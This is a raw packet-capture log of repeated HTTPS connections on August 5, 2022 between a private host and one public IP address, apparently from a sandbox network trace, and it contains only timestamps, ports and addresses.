Aug 5, 2022 15:10:02.906210899 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:02.906317949 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.907111883 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.907135010 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:03.247925997 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:03.248060942 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:03.248734951 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:03.248742104 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:03.253463030 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:03.253474951 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:03.588936090 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:03.589030027 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:03.589091063 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:03.589121103 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:03.589461088 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:03.589478970 CEST	443	49846	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:03.589488983 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:03.589550972 CEST	49846	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.050940037 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.050977945 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.051055908 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.052270889 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.052292109 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.394454002 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.394541979 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.395199060 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.395210028 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.399544001 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.399559021 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.765294075 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.765405893 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.765511990 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.777520895 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.777553082 CEST	443	49847	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:04.777566910 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:04.777703047 CEST	49847	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.175335884 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.175407887 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.175493956 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.176471949 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.176491022 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.522217035 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.525542021 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.526117086 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.526133060 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.530164957 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.530184984 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.866421938 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.866497993 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.866503954 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.866554022 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.876534939 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.876554966 CEST	443	49848	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:05.876569986 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:05.876630068 CEST	49848	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:06.349468946 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:06.349509954 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:06.349697113 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:06.350272894 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:06.350287914 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:06.695417881 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:06.695537090 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:06.696293116 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:06.696306944 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:06.701051950 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:06.701064110 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.040393114 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.040472984 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.040538073 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.040591002 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.042865038 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.042895079 CEST	443	49849	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.042907953 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.042943954 CEST	49849	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.500981092 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.501024961 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.501110077 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.502537012 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.502554893 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.846992970 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.847067118 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.847685099 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.847696066 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:07.852128029 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:07.852144957 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:08.194668055 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:08.194778919 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.194803953 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:08.194861889 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.211807966 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.211854935 CEST	443	49850	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:08.211870909 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.211910009 CEST	49850	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.648231030 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.648298025 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:08.648422956 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.649296045 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:08.649327040 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.001247883 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.001384020 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.002048016 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.002063036 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.006850958 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.006877899 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.339236975 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.339317083 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.339327097 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.339373112 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.347069025 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.347095013 CEST	443	49852	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.347106934 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.347798109 CEST	49852	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.569325924 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.569411993 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.569835901 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.571085930 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.571110964 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.916714907 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.916795015 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.917428970 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.917444944 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:09.921814919 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:09.921838999 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:10.262173891 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:10.262248993 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.262274027 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:10.262299061 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:10.262320995 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.262345076 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.275141001 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.275199890 CEST	443	49853	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:10.275211096 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.275258064 CEST	49853	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.749371052 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.749403000 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:10.749520063 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.750252962 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:10.750277042 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.095556021 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.096332073 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.096606016 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.096626997 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.102549076 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.102571964 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.442506075 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.442605972 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.442610025 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.442662954 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.453820944 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.453855038 CEST	443	49854	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.453870058 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.453911066 CEST	49854	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.728126049 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.728166103 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:11.728275061 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.729468107 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:11.729492903 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.069758892 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.069870949 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.070560932 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.070588112 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.075330973 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.075391054 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.409970045 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.410049915 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.410114050 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.410145998 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.417077065 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.417120934 CEST	443	49855	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.417135954 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.417196035 CEST	49855	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.817183971 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.817229986 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:12.818690062 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.819421053 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:12.819449902 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.160346031 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.160434961 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.161288977 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.161304951 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.175225973 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.175261021 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.500601053 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.500669003 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.500840902 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.501200914 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.501219988 CEST	443	49856	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.501266003 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.501308918 CEST	49856	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.912523031 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.912590981 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:13.912698030 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.913326025 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:13.913337946 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:14.262613058 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:14.263117075 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:14.264295101 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:14.264309883 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:14.276882887 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:14.276910067 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:14.606319904 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:14.606436014 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:14.606486082 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:14.606596947 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:14.614866972 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:14.614897013 CEST	443	49857	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:14.614909887 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:14.614962101 CEST	49857	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.046592951 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.046648979 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.046823025 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.050674915 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.050698042 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.396986961 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.397120953 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.397768021 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.397798061 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.405546904 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.405567884 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.740312099 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.740391970 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.740479946 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.749144077 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.749171972 CEST	443	49858	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:15.749186039 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:15.750524044 CEST	49858	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.040821075 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.040858030 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.040992022 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.050786018 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.050806046 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.396653891 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.399015903 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.399621964 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.399636030 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.403773069 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.403788090 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.743382931 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.743468046 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.743561983 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.745954990 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.754494905 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.754539967 CEST	443	49859	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:16.754565954 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:16.754606009 CEST	49859	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.136914968 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.136976004 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.137056112 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.138463974 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.138495922 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.483938932 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.484152079 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.499142885 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.499161005 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.504828930 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.504843950 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.827799082 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.827883959 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.827922106 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.827938080 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.835530043 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.835556030 CEST	443	49860	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:17.835566044 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:17.835613012 CEST	49860	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.211257935 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.211303949 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:18.211416006 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.212063074 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.212097883 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:18.553694010 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:18.553797007 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.566623926 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.566642046 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:18.606554985 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.606571913 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:18.893770933 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:18.893832922 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:18.893887043 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.893949032 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.913367987 CEST	49861	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:18.913397074 CEST	443	49861	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:19.400075912 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:19.400106907 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:19.400268078 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:19.426202059 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:19.426228046 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:19.766510963 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:19.766880989 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:19.774074078 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:19.774094105 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:19.780694008 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:19.780711889 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.105647087 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.105777979 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.105789900 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.105870008 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.114168882 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.114214897 CEST	443	49863	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.114285946 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.114299059 CEST	49863	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.388020992 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.388092041 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.388179064 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.388892889 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.388936043 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.730307102 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.730655909 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.731302023 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.731323957 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:20.737569094 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:20.737591982 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.068749905 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.068805933 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.068828106 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.068866014 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.077050924 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.077100039 CEST	443	49864	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.077110052 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.078876019 CEST	49864	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.608370066 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.608412027 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.608822107 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.609720945 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.609740973 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.952537060 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.952671051 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.953746080 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.953758955 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:21.958090067 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:21.958112955 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:22.292772055 CEST	443	49867	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:22.292952061 CEST	49867	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:22.292982101 CEST	443	49867	199.79.62.221	192.168.2.4
